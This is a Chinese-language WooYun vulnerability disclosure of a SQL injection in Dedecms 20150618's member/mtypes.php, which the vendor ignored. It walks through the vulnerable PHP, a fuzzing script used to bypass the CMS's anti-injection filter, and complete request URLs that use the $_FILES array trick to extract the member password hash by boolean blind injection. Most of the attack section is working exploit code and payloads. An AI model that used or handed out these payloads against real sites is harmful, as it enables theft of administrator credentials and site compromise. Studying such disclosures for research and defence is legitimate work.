当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0127787

漏洞标题：Dedecms 20150618 注入一枚(过防注入\可注入管理员账户)

相关厂商：Dedecms

漏洞作者： ′雨。

提交时间：2015-07-20 09:17

修复时间：2015-10-23 09:19

公开时间：2015-10-23 09:19

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-20： 细节已通知厂商并且等待厂商处理中
2015-07-25： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-09-18： 细节向核心白帽子及相关领域专家公开
2015-09-28： 细节向普通白帽子公开
2015-10-08： 细节向实习白帽子公开
2015-10-23： 细节向公众公开

简要描述：

终于绕过你,还好我没放弃。
当然得感谢ooxx牛, @Noxxx
P.S:http://www.dedecms.com/ 叼叼的。
gpc限制

详细说明：

首先来看一下

function XSSClean($val) {
    global $cfg_soft_lang;
    if($cfg_soft_lang=='gb2312') gb2utf8($val);
    if (is_array($val))
    {
        while (list($key) = each($val))
        {
            if(in_array($key,array('tags','body','dede_fields','dede_addonfields','dopost','introduce'))) continue;
            $val[$key] = XSSClean($val[$key]);
        }
        return $val;
    }
    $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
    $search = 'abcdefghijklmnopqrstuvwxyz';
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $search .= '1234567890!@#$%^&*()';
    $search .= '~`";:?+/={}[]-_|\'\\';
    for ($i = 0; $i < strlen($search); $i++) {
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
    }
    
    $val = str_replace("`","‘",$val); //对value有过滤 key无
    $val = str_replace("'","‘",$val); //且key无addslashes
    $val = str_replace("\"","“",$val);
    $val = str_replace(",","，",$val);
    $val = str_replace("(","（",$val);
    $val = str_replace(")","）",$val);


member/mtypes.php

elseif ($dopost == 'save')
{
    if(isset($mtypeidarr) && is_array($mtypeidarr))
    {
        $delids = '0';
        $mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
        foreach($mtypeidarr as $delid)
        {
			$delid = HtmlReplace($delid);
            $delids .= ','.$delid;
            unset($mtypename[$delid]);
        }
        $query = "DELETE FROM `#@__mtypes` WHERE mtypeid IN ($delids) AND mid='$cfg_ml->M_ID';";
        $dsql->ExecNoneQuery($query);
    }
    foreach ($mtypename as $id => $name) //把数组的key循环出来
    { 
        $name = HtmlReplace($name);//只对value 进行了addslashes 没有对key addslashes 导致了$id可引入单引号 造成了注入。
        $query = "UPDATE `#@__mtypes` SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'";
        $dsql->ExecuteNoneQuery($query);
    }
    ShowMsg('分类修改完成','mtypes.php');
}


所以首先我们注册一个账户, 然后传递一个数组 因为dede是伪全局
然后发现并没办法直接传递数组 直接mtypename[aa'] 发现dump出来就是一个Array
导致了循环出来的key就是A。 这里要另外一种方法, 参照menmen519传递数组的方法。

foreach($_FILES as $_key=>$_value)
{
    foreach($keyarr as $k)
    {
        if(!isset($_FILES[$_key][$k]))
        {
            exit('Request Error!');
        }
    }
    if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
    {
        exit('Request var not allow for uploadsafe!');
    }
    $$_key = $_FILES[$_key]['tmp_name'];
    ${$_key.'_name'} = $_FILES[$_key]['name'];
    ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
    ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
    if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {


利用_FILES来创造一个数组。
然后有一个问题就是他的防注入, 发现他的防注入又改了。。

if (strpos($clean, '@') !== FALSE  OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE 
        OR strpos($clean,'$s$$s$')!== FALSE)


比之前的又添加了双引号, 然后都知道80sec的ids 在`'`后的关键字就能过。
但是没有了@ 和 " 我们怎么让在我们嵌入的select之前让`'`不报错。
没有了思路,果断先写个渣脚本fuzz跑一下。

<?php 
mysql_connect('localhost','root','');
mysql_query("use dedecmsv");
for ($i=0;$i<256;$i++){
$b=chr($i);
$sql="select uname from dede_member where uname='a' and $b`'` union select user()";
$a=@mysql_fetch_array(mysql_query($sql));
if ($a){
	
echo $i;
echo "</br>";
echo $b;
echo "</br>";
echo urlencode($b);	
	
}
}


1.jpg


发现只跑出来了 @ 继续改一下脚本再跑

<?php 
mysql_connect('localhost','root','');
mysql_query("use dedecmsv");
for ($i=0;$i<256;$i++){
$b=chr($i);
$sql="select uname from dede_member where uname='a' and $b`'`$b union select user()";
$a=@mysql_fetch_array(mysql_query($sql));
if ($a){
	
echo $i;
echo "</br>";
echo $b;
echo "</br>";
echo urlencode($b);	
	
}
}


发现又只跑出来了一个 双引号。。 恰巧这两个又被过滤了。
还好这时候ooxx牛在。
WHERE mtypeid='a' and `'`.``.mtypeid and
这种也能执行 所以成功绕过了dedecms的防注入。
所以就可注入了。
_______________________________________________________________________
演示一下流程
首先一个会员 来到 /member/mtypes.php 创建一个分类

增加分类成功
如果你的浏览器没反应，请点击这里...


删? 	分类ID 	内容类型 	分类名称
	1 	普通文章 	www


这里先记下分类的ID为1 名称为 www
然后访问
http://web/new/dedecmsv/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a' and `'`.``.mtypeid or if(ascii(substr((select pwd from dede_member limit 1),1,1))%3d51,1,0) and mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx

删? 	分类ID 	内容类型 	分类名称
	1 	普通文章 	www


发现分类名称没有改变
再改一下
http://web/new/dedecmsv/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a' and `'`.``.mtypeid or if(ascii(substr((select pwd from dede_member limit 1),1,1))%3d50,1,0) and mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx
访问后 再回到分类管理来看

删? 	分类ID 	内容类型 	分类名称
	1 	普通文章 	w


现在分类名称已经变成我们数组的value了 就说明 当pwd的第一位ascii码为50的时候
就是true了 再转回来 说明pwd的第一位就是2
也可基于时间,再写个脚本就能跑了。

漏洞证明：

2.jpg

修复方案：

用你们的htmlreplace

版权声明：转载请注明来源 ′雨。@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-10-23 09:19

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无